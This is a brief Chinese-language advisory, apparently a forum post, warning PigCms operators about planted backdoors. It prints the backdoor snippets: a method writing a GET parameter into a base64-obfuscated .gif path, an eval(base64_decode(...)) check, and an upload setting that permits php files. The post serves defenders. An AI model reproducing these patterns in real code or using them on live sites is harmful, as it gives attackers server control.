后门一、查找文件TAction.class.php
public function test(){
file_put_contents(base64_decode('dHBsL1VzZXIvZGVmYXVsdC9jb21tb24vaW1hZ2VzL2ZhY2UvMTA0LmdpZg=='),htmlspecialchars($_GET['n']));
}*
执行原理PHP图片注入木马//疑似后门，它生成文件tpl/User/default/common/images/face/104.gif
这个文件虽然是104.gif，但它的内容却是由提交参数写入的。
后门二、
TagLib.class.php
public function checkdat(){
@$string=file_get_contents(base64_decode('dHBsL1VzZXIvZGVmYXVsdC9jb21tb24vaW1hZ2VzL2ZhY2UvMTA0LmdpZg=='));
//if($this->think_encrypt($this->thinkphpgetmi())!=$string){eval(base64_decode("ZXhpdCgpOw=="));}
}
而且本页里$this->mat = $this->checkdat();
\Lib\Driver\TagLib\TagLibCx.class.php
$baiduccheckdata=$this->checkdat();
这两个都只是赋值进去，并没有使用。
本后门加密结果还是一句话注入后门程序
漏洞一、查找文件upfile.php
<?php return array (
'up_size' => '2048', 'up_exts' => 'jpeg,jpg,png,php', 'up_path' => '/data/upload', 'connectnum' => '系统维护中......',);
上面的'up_exts' => 'jpeg,jpg,png,php' 是指允许上传的文件类型，如果允许上传php，那么随便一个小白上传一个php木马到你的网站目录下，你的服务器权限就掉了。
加外个人用阿里云，在云盾中删除了这个文件
/PigCms/Lib/Action/User/BusinessflowerActlon.class.php
也是后门文件
基本所有版本内都有，各位运营者抓紧检查吧，别等被黑的时候不知道为什么。其他未发现的后门木马数量未知，自行检查全站吧。代码加密的就先解密检查。
